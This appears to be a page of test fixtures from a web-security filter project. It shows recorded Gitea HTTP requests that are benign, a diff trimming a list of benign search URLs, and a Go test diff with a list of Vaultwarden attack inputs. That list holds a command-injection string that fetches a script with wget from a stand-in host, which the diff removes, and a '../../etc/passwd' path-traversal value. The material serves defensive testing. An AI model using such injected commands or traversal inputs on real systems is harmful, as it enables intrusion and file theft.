{"method": "POST", "target": "/alice/tools/_new/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 862", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywVqkqv2Jr7ji4Kze", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\ndocs/python3-setup.md\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\n# Setup\r\n\r\nInstall the tools.\r\n\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nAdd setup notes\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ndirect\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nalice-patch-1\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\n71e995c2394ac116247f342fb116b0058e1ec738\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze--\r\n"}
{"method": "POST", "target": "/alice/tools/_delete/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 621", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQH6Zh33PIE4XdrL5", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_delete/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryQH6Zh33PIE4XdrL5\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nRemove .htaccess\r\n------WebKitFormBoundaryQH6Zh33PIE4XdrL5\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryQH6Zh33PIE4XdrL5\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ndirect\r\n------WebKitFormBoundaryQH6Zh33PIE4XdrL5\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nalice-patch-1\r\n------WebKitFormBoundaryQH6Zh33PIE4XdrL5\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\nd44f04577d741b385554aaf75898d84c0e6be0e4\r\n------WebKitFormBoundaryQH6Zh33PIE4XdrL5--\r\n"}
{"method": "POST", "target": "/alice/tools/_delete/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 637", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5NJfG6GBxpj4Yj1g", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_delete/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundary5NJfG6GBxpj4Yj1g\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nRemove scripts/install-script.sh\r\n------WebKitFormBoundary5NJfG6GBxpj4Yj1g\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundary5NJfG6GBxpj4Yj1g\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ndirect\r\n------WebKitFormBoundary5NJfG6GBxpj4Yj1g\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nalice-patch-1\r\n------WebKitFormBoundary5NJfG6GBxpj4Yj1g\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\ne0855ca76e18ad6cc42b3ed5c99247293522f926\r\n------WebKitFormBoundary5NJfG6GBxpj4Yj1g--\r\n"}
{"method": "POST", "target": "/alice/tools/branches/_new/branch/main", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 28", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "new_branch_name=docker-build"}
{"method": "POST", "target": "/alice/tools/branches/rename", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 52", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "from=feat%2Fdocker-support&to=feat%2Fpython3-support"}
-11
View File
@@ -91,17 +91,6 @@
/explore/organizations?q=docker-ci
/api/v1/users/search?q=docker-ci
# Searches of the repositories on a user's and an organisation's page, recorded
# from gitea 1.27.3.
/alice?tab=repositories&q=ls+-la&sort=recentupdate
/alice?tab=repositories&q=python3&sort=recentupdate
/alice?tab=repositories&q=powershell&sort=recentupdate
/alice?tab=repositories&q=.htaccess&sort=recentupdate
/acme?q=ls+-la&sort=recentupdate
/acme?q=python3&sort=recentupdate
/acme?q=powershell&sort=recentupdate
/acme?q=.htaccess&sort=recentupdate
# Pages, raw files and edit pages of files, and the API's call for their
# contents.
/owner/repo/src/branch/main/package.json
+1 -1
View File
@@ -199,7 +199,7 @@ func TestVaultwardenHardValuesPassInTheExcludedFields(t *testing.T) {
var vaultwardenAttacks = []string{
injection,
scriptTag,
"; wget http://example.com/x.sh",
shellCommand,
"../../etc/passwd",
}